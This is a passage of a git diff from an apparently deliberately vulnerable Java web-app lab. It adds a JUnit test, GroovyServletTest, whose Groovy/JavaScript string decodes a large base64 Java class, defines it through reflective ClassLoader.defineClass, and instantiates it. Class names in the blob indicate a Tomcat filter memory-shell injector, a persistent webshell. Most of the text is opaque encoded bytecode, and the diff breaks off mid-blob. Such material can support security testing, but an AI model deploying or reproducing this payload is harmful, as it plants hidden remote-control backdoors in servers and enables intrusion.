y9PYmplY3Q7KVoBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAIdG9TdHJpbmcBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBAA5nZXRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAdmb3JOYW1lAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDYXVzZQEAFygpTGphdmEvbGFuZy9UaHJvd2FibGU7AQAJZ2V0TWV0aG9kAQAFKFtCKVYBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBAAVjbG9zZQEADWdldFN1cGVyY2xhc3MBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBACooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9UaHJvd2FibGU7KVYBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAANnZXQBACVvcmcvc3ByaW5nZnJhbWV3b3JrL2N5YVZiL1JlZmxlY3RVdGlsBwGoAQACLyoIAaoBAC5vcmcuYXBhY2hlLmh0dHAud2ViLmhhbmRsZXJzLlVTTkplLk9BdXRoRmlsdGVyCAGsAQ9ISDRzSUFBQUFBQUFBLzZWWENYUWJ4Um4reHBhMUszbHpPV0JIQ1JBSU9YekVWdUxZam1PSEpMWVRjdUE0SVE2aFRscmF0YlMybGNpU1dLMGNPd1Y2MEl1V0J3OG9iV2xKb2ZSSUQ5cUdsTWd4NFFndGhVSUw5S0xRVW5yZjBQdWtwYmpmN0s1a1daWURmYnhuejg3TWY4ei9mLzh4bzhkZXZ1ZCtBQTFpaFI4ZHVGVU9oMVY4MUE4TnQ2bTRYY0hINVBRT0JSLzM0eFA0cEI4ejhTa1ZSeFI4V3NGbENqNmo0TE1LUHFmaVRzbjJlUlZmVVBGRkZVZFYzS1hpbU5UMkpSVjMrM0VjYVFXalB0VGhoQit6TU9iSEF0d2p0MC9LNFY0Rjl5bTRYNUlmS01WNU9DVm5EMHJHTDh2bFYrVHlJVG43cXAremgrWHdpSXF2bGVKUlBLYmc2L0xvYjhqTnczSjRYRzQvb2VKSktmQ0VnbS82MFloYkZYekxqOVg0dG5UZ082VlloTzlLcFUvSk03N254OU40UmhLK0wxbC9JSlU4S3drL0xNVnorSkdDSHl2NGlVRHhBV05Fb0t4enZ6NmtCNk42ckQvWWJabVJXSCtyZ0NlaEo1UGtHQXczQ3ZnSEREMXNtRjM2b0NGUTZpejI2TkVVVjk2MWtWakVXa2ZPeXFvOUZPdUloN2s3cXpNU003cFNnNzJHdVZ2dmpScnlrSGhJais3UnpZaGN1NXNlYXlEQ1E5bzZRL0hCb0dubysvVmtQQmFVMWh3MGVvT0R4bUJ5d0loR2cvWm94ZVBSWUg4OGZDZ1NqZXJCemU3a3dralVNa3phTzc4eXg0dU9LSTN2akVzelc2VlY0cEJBeFRSMEFhMVhUeHBORFp0aUlkdjI4c3A5N1ZXRklGRU1tOE9jak5pTzN2MUd5Q0xaNjZnUm1KTi9rb1J6U0RlYkJNN01JVzBhRGhrSkt4S1BrVnpVU3hpSzlyVUxsQXc1dUpaUHhtc2trY0hzakh6dGE2dlhVY09NYmtzUEhkaXVKMncySjRVWnVPd2h5YXlmRzQyTW4xT2RySkltS0dIRDlWTmNUSlB6NE1oNFZCVHFGZkIxUi9wanVwVXlxVzllSVViSE9ERk1yU1R2dGZXTFVBYUk0V0RJSEVsWThXQkhKREZneDBMaVJBZ0Z6UldEL04vTFdsRHdVd0UxSEhkaUxiQ3YwaFZPR3VaUTFMQ0MzYzUzbDNGNXlraGFyZE5Sa3duQ1lPU1RIYTBkQTNvazV1UktILzlsWXV1bXVTTmxDU3gwZklyRWcrMGpsdEZtbXZvSTl4TXBpNWdaK3FCTWpLU1JUQkpqZ1hQemxBOVlWaUs0aFVPM3d5RTlET3VXTGpBek9jbG9nWE5PN3hScktqblprWXhsMDN2S2JBcEp2d1FXbk1acDJtOW1qRmcydmYxNTFxaG0xb3o4Y0V3VmN1MVI4RE1GUDFmd0M2YzNLdmdsVzVuZGNIK2w0TmVFUnJZU3VwV3YwTFUySHV1TDlOc3gwdnB5ZGdUT09oMi9uYzlKeTR5ejAvbTc0eWt6WkpCT3MrZE83aUYxVW9lR2k5QXBoMTBDcytWR1hjcUtST3ZhN2NMUjhCdjhsa3I2RFd0VHRoUHNtMUlhR242SDU2bCszOVFtb2VBRkRiL0hIelQ4RVg5aURqZ05aWGZjcVQ2R09FK1hhMFN1amtsYkdibTVCYm9LQ3p5Wml0VU5ScEtodXZhMjdrMlpCbWRxK0RQK3d2dzIzSDRuL2RtWXFYaHZPTk1kOG9TekhKckQwWjdxNjVPNi9vcS9zZmUzYmVwbWxXcjRPLzdCK0UwcTdXVENDREV6UTZaaFhXU01kSE9sWVJNdTFQQlAvRXNpL2FLR20vRnZEZi9CU3dKTFhsWDZDU3g5ZFJtbllhczg2Yjk0V2NNMk9SdW4vVUtJSWcyYnVSVEZrdENIZmcweHhKa29DWDBreWx1Qmlha0pqeWdSV1A4YUx5Wk5lSVdpSVlMOW1sQ0ZqMkFuZEpPM0tFa003dG1uYlN5ODB5YkN1aXNWc3lLRFJqYTZSRTc0TlZFcU5FM01FRE0xYkpIK3pCS3pGVEZIRTJWaXJpYk9FR2Rxb2x5Q2ZBbjJTRm9GSzAvRHNKakg5bHZ3THVUbFVxaVEzUHpLYTlZc3U5TTFMTmU3YVp1VFFHRGFsc1JtZVBvMk9vWEJWWjZUL0hNejJHN2RrYk9yOU1YZFY4eVNRcmRmZ1d2T3grcllibGdEOGJEQWhnSXlVK3MvVjR0cDlFVlp0RUZIQTlYTm00N0cwb3ZFaHVJSGFOcWF5cW1kbzBBenFTcjBDRkZwcnRzNjVsWVc4cWMwWmh6Y0drdGFlaXdrSHhPVkJiV1VobzArUHVCY1JSVzh1YmR1TGFpTXAwMG9xNW9XMHFuM3ZMUlRaajNWZXlydFY0RThwWUQ4SGtuWjZoQ1NSaWhsUnF5UklCdUpUVkhrb3lDbVJ3bWVmSHhJTlRKZVd3d25tNWUrUW95ekx6czFGSTlaVER4YXMyRFNPM0pBTjd0bFB0Ty8xcXE5VHEvTTV1Q2l5cXBYdnU0MVN1ek0xTHl6YkxONGJtL0tNbDdad214RVptYmltcW5Vd05Ub1RqeG9rNU1PV1ZiZ2tBTHB0RWMrNFhMMmR3K1k4WVB5TVdtVHZJUkJqeWJsZTdDQTdGNEgrRXNaSFdsY1JjWTQxdDlPbnVjU1pEa2xVNzFKOTlZcXI1eWNWZGx3ekMwZ3k3Zk1RVG5KTXlBblRWUXJlNDlPVHV1czNsSXJudTIwVWsvaDB6ZTh0dWVsTktVdWJ2WUg5WVFlR2pDY25KQzN4b0FlQzBmWjk0T1hkSGR0TTRJNzJsTFdnTlAwRkJIZ3RiNHExR1NzNkczVzE0UldOdGJYTitpcVdLQmlNOStVSzFkMmJHeHFhMTdkMkx5bXVXRmwwNnFtamxXcjJ6cWE2NXZhNnR0V05MUjNxT0ljWnVZbE5LaTJyZCtJV2FvNGw2WEIyckpXMXE5U3hTS0JGWjMvbjBHdFBqRWZKK1R3Z0J3ZWxNTkRmZzRQeStFUk9SeVd3K09TOEpTY1BjdGZJSHh3eVZaZzJiOE1jUjUzT3lDd0VTWHd5UnNmUWdUNXM3eEluTVgxNXB6MTJWeHZ5Vmt2NUhwcnp2bzhycmZsck0vbldzaUhHc2Z0M0ZuRnIrQzNwSG9VNGk3SmdpNk9mbjZCY25oUWdSMmNhUTRUZG9yRi9Fb0Z1MXdGNjhncGViM1ZOYU1veXRjd256SUxiQTNsRHBlclFjNjZzWnM2ZlBLR0pZMjZoTUhkRXRLR1JXZFo4UWw0dGk4dkt4R240RTFEV2M2dm1vYXZxellOZjFtcDV6NW9QY1ZsTTdwSnF1WGl4cDdpYXM1OXB4RHFQSUkxWFdWemJQRTB5bG84QVk4VW1ac3JFdkJNa1NscDhkUWN0WDI1QUJzUVJoc3VoOFd2QjcyMHFBckY0OXd1VWpCRFFRaENRWGljMkhuY05aZjIzb3QwU0RwZlQ4Q0FoVlMyQ0NyT0p3U0xxWFk1TlN5aDRtV01ZQ1VkcnVJUk5UeWtHa09vdFVIYVFrMExLSE1wWG9kaVNqYWpCM3R0Y0JiYmV4NUsxcnA3YldqRVByeWVmQVFNYjhCbE52UkRlS09NTnQ3a1F1N28wRGx6Sk9YTUlNMURuakRCNXdQT0NhUTQ0SUovMVFUNFp4UUUvMHdYeWRCVThHZndqMWl1N1Nvcno4ZS9JbGNxRDM5WGJDSUVHNWo5WVdiL1FSeWFISUlPR1lJUVVYZEQwQ1JEWUs4TGg2Q2V5aG9KUWhOaFhVMjE2Nm1obVlwYldCU3QySW0xUEdJZEQ3a0FWNUE2RVlJbEdIQkQwT3JDdlpOaEc3QkRzQTByM0wyTjFKVUp3VlVNd1lWMkNLNWdDQzZiRklKV0YzaEhVczZFZk5ZNldjK3pQWFp0K0twcmltdnVIOFc4bzlraTh0cGx0eW1uZ0h6WkF2TGhnSDFNMU9ZZTVJenZjTGNvbjZha2g5K2Fzc0FKek8rcVBlc1dLSjRqOEpTY3hJS2VZMkpKR21lWEJVWnhUaG9MYTJ2U09QZG9semhxSDdXTWlSbW1QeEx3dFJMd1dRUll6Q2ZBeFBhNEJQajR1TXllbkQwRzVMZ1laNThvZGpmdE1Oam1sOXNKZFJHTjZXUlNiNmZ1TG9aeGgrMU9BMmxlN2laWUJNWGNMWUxwSWxtVGRiRUdTZHRGMkdXU3NuRWJ4b2lEVzlGdDFGREt4SzJvT1lYcldqekxUK0g2bHBLQTU1aFlPb2JGUlhnWXowOHNqb2xsYVN5OUJjOEVQR05ZSnREaWxiVEtNVlFWNFlTb2FsR3FBMHB4V2xTM0tBRnYyZkl4MUJiaEVTeVM4NU5pZms4MUV6aU40S2lvQ1NocFFYSjlNWTdnbW9DbmJGVkFHVU5ETVU3aWhwNVJOTFdvV2ZGVDBHVDIrNDVnVm92L0pGYjNCUHlqYUg0ZzRBdXdrdFpjeXEvSC9wYU1vVVhRdnRyaTJiUFRXSnZHQlFGZkd1c3loR3JKdnQ1RDAwNklPa25NOGt2Mk51NGNRV2x0RGM5c2x6Yk5hUEZtRm5jUnBtdHhHTGN6R0JwL1Btblp3RWFoamhOSDFZN1greFJjcStBNUJkY3B1RjdCbzdLV01NNUU4RTFIVm5DREhlS1hVS3JneG5GY0RPOVVWc1pIYVNlVHowNkUvYndJd0RidlpSZlRXQUxMV1Q2eWUyMWt5TGV6Y0hvWTVtRVd6TlVzam10cDUyRjJwZHZacCs1Z2Y3cVRaWGMzeStWZWFubVNPZjhVN1grQitmNHlmM1VLSklRUEZuMHp4VXdrK1lzdFpTZlhPK2pFWVhwN2lBWHJveFkvM3N5VC9OUnRzanl2WkVuZXlRdk1vVGJpVVJidlcyamJSdHlEdDlJU2hicFVXOElyMHl1VGpweTlEVytYNmNqWjFUeWp5SjY5RSsvaVNWNHhCKy9HZTFoMS9HR0phL0JlSnFkaFYzQVJic0w3S1hVelB1QVdmS05kc2NpOWI1MUNIOGtwZEpHdEFvRVA0a01jTTIzN0p2N2ZrcjNBYTJ5T0FzcXV6TG00UmZiaS9yRE45WkgvQWREZVgxcm5Gd0FBCAGuCgGpAPAKAakA9goBqQD3AQAnTG9yZy9zcHJpbmdmcmFtZXdvcmsvY3lhVmIvUmVmbGVjdFV0aWw7CgGpAP8KAakBBAoBqQESCgGpARUKAakBFgoBqQEXCgGpATMKAakA7wAhAakAnwAAAAAADAABAHkAegABAHsAAAAQAAEAAQAAAAQTAauwAAAAAAABAIAAegABAHsAAAAQAAEAAQAAAAQTAa2wAAAAAAABA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';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}\")")); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-deserialize/src/test/java/GroovyServletTest.java b/vul/vul-webapp-deserialize/src/test/java/GroovyServletTest.java new file mode 100644 index 00000000..9fc7e536 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/test/java/GroovyServletTest.java @@ -0,0 +1,14 @@ +import groovy.lang.GroovyShell; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/1/29 + */ +class GroovyServletTest { + + @Test + void test() { + System.out.println(new GroovyShell().evaluate("new javax.script.ScriptEngineManager().getEngineByName('js').eval('var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = \"org.apache.commons.lang.zKHoq.ImageUtil\";var base64Str = \"yv66vgAAADQBvAgA7AgA7QgA7goAEgDvCgB3APALAPEA8gsA8wD0CwDzAPUKAHcA9goAdwD3BwD4CgALAPkHAPoKAA0A7wcA+wgA/AcA/QcA/goAdwD/BwCbCgAPAQAIAQEKADgBAggBAwoAdwEECAEFCACUBwEGCgAcAQcLAQgA8gsA8QEJCgAPAQoKABIBCwoAEQEMCAENCAEOCAEPCACGCgAPARAKABEBEQoAdwESCgAvARMKABEBFAoAdwEVCgB3ARYKAHcBFwcBGAgApwcApgkBGQEaCgARARsKARwBHQoBGQEeCgEcAR8IASAHASEJASIBIwgBJAoBJQEmCAEnCgARASgIASkIASoIASsKABEBLAgBLQgBLggBLwgBMAgBMQgBMgoAdwEzCAE0CgARATUIATYIATcIATgKATkBHQoBOQE6CAC3BwE7CwBRATwIAT0KAAsBPgcBPwgBQAgBQQoAEQFCCAFDCAFECAFFBwFGCgBcAO8HAUcHAUgKAF8BSQoAXgFKCgBeAUsKAFwBTAoAXAFNCgBeAU4KAFwBTgcBTwoAEQFQBwFRCgBpAO8IAVIKAGkBUwoAaQEMCgBnAVQHAVUIAVYKAG8BVwoAEQFYCgFZAR0KAVkBWgcBWwoAdQFUBwFcCgB3AO8BAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEARExjb20vcmVhamFzb24vamF2YXdlYi9tZW1zaGVsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3I7AQAMZ2V0Q2xhc3NOYW1lAQAPZ2V0QmFzZTY0U3RyaW5nAQAGPGluaXQ+AQADKClWAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQANU3RhY2tNYXBUYWJsZQcBXAcBXQcBXgcA+AEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAV2YWx1ZQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwcA+wcBBgcA/gEACkV4Y2VwdGlvbnMBAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEACGdldFNoZWxsAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47BwEYAQAGaW5qZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEADWZpbHRlckNvbmZpZ3MBAA9MamF2YS91dGlsL01hcDsBACNbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yPCo+OwcAtQEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAMZGVjb2RlckNsYXNzAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCAQAGYnVmZmVyAQABbgEAAUkBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAA9nemlwSW5wdXRTdHJlYW0BAB9MamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW07BwFGBwFHBwFfBwFgAQAMaW52b2tlTWV0aG9kAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAGbWV0aG9kAQADb2JqAQAKbWV0aG9kTmFtZQEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEAE1tMamF2Y